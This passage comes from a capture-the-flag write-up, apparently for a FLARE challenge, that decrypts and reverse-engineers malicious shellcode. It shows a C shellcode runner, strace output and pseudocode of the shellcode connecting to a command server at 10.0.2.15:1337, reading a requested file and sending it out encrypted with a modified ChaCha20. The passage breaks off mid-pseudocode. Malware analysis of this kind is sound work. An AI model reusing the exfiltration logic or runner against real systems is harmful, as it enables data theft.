<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb18-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">pwndbg</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> dump binary memory dump_shellcode.bin 0x7f4a18ca9960 0x7f4a18caa8f6</span></code></pre></div></div>
<p>At this point I felt that I was making some progress, like a game save after a boss fight.</p>
<p>With the encrypted file resting on my desktop, and with the <code>key</code> and <code>nonce</code> extracted earlier, I assumed that it could be decrypted locally. So I wrote a small Python script to decrypt the shellcode:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb19-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> pathlib <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> Path</span>
<span id="cb19-2"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.Cipher <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> ChaCha20</span>
<span id="cb19-3"></span>
<span id="cb19-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Load the "dump_from" file containing the RSA_public_decrypt input</span></span>
<span id="cb19-5"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(Path(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">__file__</span>).parent.joinpath(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"dump_from.bin"</span>), <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"rb"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb19-6">    dump_from <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> f.read()</span>
<span id="cb19-7"></span>
<span id="cb19-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Extract key (32 bytes) and nonce (12 bytes) from the "from" argument</span></span>
<span id="cb19-9">key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> dump_from[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4</span>:<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span>]  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># key 32 bytes</span></span>
<span id="cb19-10">nonce <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> dump_from[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x24</span>:<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x24</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span>]  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># nonce 12 bytes</span></span>
<span id="cb19-11"></span>
<span id="cb19-12"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Load the dumped shellcode from the "dump_shellcode" file</span></span>
<span id="cb19-13"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(Path(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">__file__</span>).parent.joinpath(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"dump_shellcode.bin"</span>), <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"rb"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb19-14">    encrypted_shellcode <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> f.read()</span>
<span id="cb19-15"></span>
<span id="cb19-16"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Decrypt the shellcode using ChaCha20</span></span>
<span id="cb19-17">cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> ChaCha20.new(key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>key, nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>nonce)</span>
<span id="cb19-18">shellcode <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.decrypt(encrypted_shellcode)</span>
<span id="cb19-19"></span>
<span id="cb19-20"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Save the decrypted shellcode for further analysis</span></span>
<span id="cb19-21"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(Path(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">__file__</span>).parent.joinpath(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"decrypted_shellcode.bin"</span>), <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"wb"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb19-22">    f.write(shellcode)</span></code></pre></div></div>
<p>Another game save :)</p>
</section>
</section>
<section id="analysis-of-the-shellcode" class="level2">
<h2 class="anchored" data-anchor-id="analysis-of-the-shellcode">Analysis of the shellcode</h2>
<section id="dynamic-analysis" class="level3">
<h3 class="anchored" data-anchor-id="dynamic-analysis">Dynamic analysis</h3>
<p>To quickly analyze the behaviour of the shellcode, I used a custom shellcode runner for execution testing:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb20-1"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#include </span><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">&lt;stdio.h&gt;</span></span>
<span id="cb20-2"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#include </span><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">&lt;string.h&gt;</span></span>
<span id="cb20-3"></span>
<span id="cb20-4"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span> shellcode<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\x55\x48\x8b\xec\xe8\xb9\x0d\x00</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">..."</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb20-5"></span>
<span id="cb20-6"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> main<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb20-7">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(*(</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(*)())</span>shellcode<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)();</span></span>
<span id="cb20-8"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>The program was compiled with stack protections disabled and executable stack permissions enabled to accommodate the shellcode:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb21" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb21-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">gcc</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-fno-stack-protector</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-z</span> execstack <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-no-pie</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> shell shell.c</span></code></pre></div></div>
<p>Running the shellcode with <code>strace</code> provided an overview of its system calls and hinted a basic idea of its functionality:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb22" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb22-1">remnux@remnux:~$ strace ./shell</span>
<span id="cb22-2">[...]</span>
<span id="cb22-3">socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3</span>
<span id="cb22-4">connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16) = -1 ECONNREFUSED (Connection refused)</span>
<span id="cb22-5">recvfrom(-111, 0x7fff79403fb8, 32, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-6">recvfrom(-111, 0x7fff79403fd8, 12, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-7">recvfrom(-111, 0x7fff79405168, 4, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-8">recvfrom(-111, 0x7fff79403fe8, 0, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-9">open("", O_RDONLY)                      = -1 ENOENT (No such file or directory)</span>
<span id="cb22-10">read(-2, 0x7fff794040e8, 128)           = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-11">sendto(-111, "\0\0\0\0", 4, 0, NULL, 0) = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-12">sendto(-111, "", 0, 0, NULL, 0)         = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-13">close(-2)                               = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-14">shutdown(-111, SHUT_RD)                 = -1 EBADF (Bad file descriptor)</span>
<span id="cb22-15">exit_group(0)                           = ?</span>
<span id="cb22-16">+++ exited with 0 +++</span></code></pre></div></div>
<section id="observations" class="level4">
<h4 class="anchored" data-anchor-id="observations">Observations</h4>
<ol type="1">
<li><p><strong>Socket creation</strong></p>
<p>The shellcode creates a TCP socket and attempts to connect to <code>10.0.2.15:1337</code>.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>The IP address <code>10.0.2.15</code> is the default for NAT-based virtual machines in VirtualBox.</p>
<p>On my remnux VM I don’t even have to worry about network configurations, just enable NAT and <em>voilà</em>, everything is ready to go.</p>
<p>In case the IP is not the expected, a simple iptables rule can make the trick:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb23" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb23-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">sudo</span> iptables <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-t</span> nat <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-A</span> OUTPUT <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-d</span> 10.0.2.15 <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-j</span> DNAT <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--to-destination</span> 127.0.0.1</span></code></pre></div></div>
</div>
</div></li>
<li><p><strong>Receive data</strong></p>
<p>After making the initial connection, the shellcode will receive 4 streams of data (<code>32</code> bytes, <code>12</code> bytes, <code>4</code> bytes and <code>0</code> (?) bytes).</p></li>
<li><p><strong>Open local file and read its contents</strong></p></li>
<li><p><strong>Data exfiltration</strong></p>
<p>At the end, it sends back 4 bytes <code>"\0\0\0\0"</code> (?) and then 0 bytes <code>""</code> (?) that may be the exfiltrated data.</p>
<p>The challenge description said something related to an exfiltration, so it seems we are on the correct track.</p>
<blockquote class="blockquote">
<p>Do your part, random internet hacker, to help FLARE out and tell us what data they stole!</p>
</blockquote></li>
</ol>
<p>To fully understand the communication protocol with the <em>C2</em> and confirm the stolen data, the next step was to perform a static analysis of the shellcode to identify its data handling and transmission logic.</p>
</section>
</section>
<section id="static-analysis" class="level3">
<h3 class="anchored" data-anchor-id="static-analysis">Static analysis</h3>
<p>The decrypted shellcode is relatively small, with several syscalls as we already seen on the dynamic analysis.</p>
<section id="socket-initialization" class="level4">
<h4 class="anchored" data-anchor-id="socket-initialization">Socket Initialization</h4>
<p>The first part of the main function contains the following values that are passed to the next call: <code>0xa00020f</code> and <code>0x539</code>.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/radare2_shellcode1.png" title="radare2 shellcode 1" class="img-fluid"></p>
<p>Inside the function <code>fcn.0000001a</code> there are two syscalls. I got the list of syscalls numbers and its arguments from here: <a href="https://hackeradam.com/x86-64-linux-syscalls/">Linux x86_64 System Call Reference Table</a>.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/radare2_shellcode2.png" title="radare2 shellcode 2" class="img-fluid"></p>
<p>The Linux manuals helped me understand the syscalls and arguments:</p>
<ul>
<li><p><code>sys_socket</code> (<strong>0x29</strong> / <strong>41</strong>): Creates a socket.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb24" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb24-1">socket_family: 0x2 = AF_INET</span>
<span id="cb24-2">socket_type: 0x1 = SOCK_STREAM</span>
<span id="cb24-3">protocol: 0x6 = TCP</span></code></pre></div></div>
<p><a href="http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml">Reference of the Protocol Numbers</a></p></li>
<li><p><code>sys_connect</code> (<strong>0x2a</strong> / <strong>42</strong>): Connects the socket to the remote address.</p>
<p>The struct <a href="https://www.man7.org/linux/man-pages/man3/sockaddr.3type.html">sockaddr*</a> contains the IP address and the port number. This struct is constructed using previous parameters <code>0xa00020f</code> and <code>0x539</code>.</p>
<p><code>0xa00020f</code> can be translated into <code>0x0a</code> <code>0x00</code> <code>0x02</code> <code>0x0f</code> -&gt; <code>10</code> <code>0</code> <code>0</code> <code>2</code> -&gt; <code>10.0.2.15</code>, which is the IP address to connect to, and <code>0x539</code> is the haxxor <code>1337</code> port.</p></li>
</ul>
<p>Once I resolved the arguments, I got something like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb25" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb25-1">sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);</span>
<span id="cb25-2">connect(sockfd, *addr=10.0.2.15:1337, addrlen);</span></code></pre></div></div>
<p>That matches what was observed during dynamic analysis with <code>strace</code>.</p>
</section>
<section id="received-data" class="level4">
<h4 class="anchored" data-anchor-id="received-data">Received data</h4>
<p>After the connection is established, the shellcode retrieves data in four steps and the file is then opened and read. Using the same methods, the syscalls and arguments can be easily recognized.</p>
<p>Pseudocode:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb26" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb26-1">data1 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x20</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>              <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 32 bytes</span></span>
<span id="cb26-2">data2 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>              <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 12 bytes</span></span>
<span id="cb26-3">filename_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>       <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 4 bytes</span></span>
<span id="cb26-4">filename <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>filename_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// filename_size bytes</span></span>
<span id="cb26-5">f <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> open<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(*</span>pathname<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>filename<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> flags<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>                 <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// flags=O_RDONLY</span></span>
<span id="cb26-6">data_file <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> read<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>f<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> count<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x80</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>                 <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// First 128 bytes</span></span></code></pre></div></div>
</section>
<section id="custom-chacha20-implementation" class="level4">
<h4 class="anchored" data-anchor-id="custom-chacha20-implementation">Custom ChaCha20 implementation</h4>
<p>This part was not seen in the first dynamic analysis.</p>
<p>The shellcode contains two long functions that are in fact a modified ChaCha20 encryption routine.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/radare2_shellcode3.png" title="radare2 shellcode 3" class="img-fluid"></p>
<p>The two complex functions are familiar after reversing the liblzma library, but this time the algorithm is a bit different. The magic string ends with an uppercase “K” instead of the original “expand 32-byte k”.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/radare2_expand_32-byte_K.png" title="radare2 custom chacha20" class="img-fluid"></p>
<p>I guessed that the first received data was the key (32 bytes) and the second one was the nonce (12 bytes).</p>
<p>Since ChaCha20 is a stream cipher, the size of the encrypted data is the same as the original data.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb27" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb27-1">file_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> strlen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>data_file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb27-2">custom_chacha20_init<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb27-3">encrypted_data <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> custom_chacha20_encrypt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>data_file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span></code></pre></div></div>
</section>
<section id="exfiltration" class="level4">
<h4 class="anchored" data-anchor-id="exfiltration">Exfiltration</h4>
<p>The final part of the shellcode contains two <code>sendto</code> syscalls and two wrappers of <code>sys_close</code> and <code>sys_shutdown</code> to exit the program.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/radare2_shellcode4.png" title="radare2 shellcode 4" class="img-fluid"></p>
<p>After the encryption, it first sends the length of the file, and then, it sends the encrypted file.</p>
<p>The final pseudocode will look something like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb28" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb28-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// socket init</span></span>
<span id="cb28-2">sockfd <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> socket<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>AF_INET<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> SOCK_STREAM<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> IPPROTO_TCP<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb28-3">connect<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>addr<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"10.0.2.15:1337"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> addrlen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb28-4"></span>
<span id="cb28-5"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// receive data from the c2</span></span>
<span id="cb28-6">key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x20</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>                <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 32 bytes</span></span>
<span id="cb28-7">nonce <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>              <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 12 bytes</span></span>
<span id="cb28-8">filename_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>       <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 4 bytes</span></span>
<span id="cb28-9">filename <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> recvfrom<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>filename_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// filename_size bytes</span></span>
<span id="cb28-10"></span>
<span id="cb28-11"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// open and read file</span></span>
<span id="cb28-12">f <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> open<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(*</span>pathname<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>filename<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> flags<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>                 <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// flags=O_RDONLY</span></span>
<span id="cb28-13">data_file <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> read<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>f<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> count<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x80</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span>                 <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// First 128 bytes</span></span>
<span id="cb28-14"></span>
<span id="cb28-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// encryption</span></span>
<span id="cb28-16">file_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> strlen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>data_file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb28-17">custom_chacha20_init<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb28-18">encrypted_data <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> custom_chacha20_encrypt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>data_file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb28-19"></span>
<span id="cb28-20"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// exfiltration</span></span>
<span id="cb28-21">sendto<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
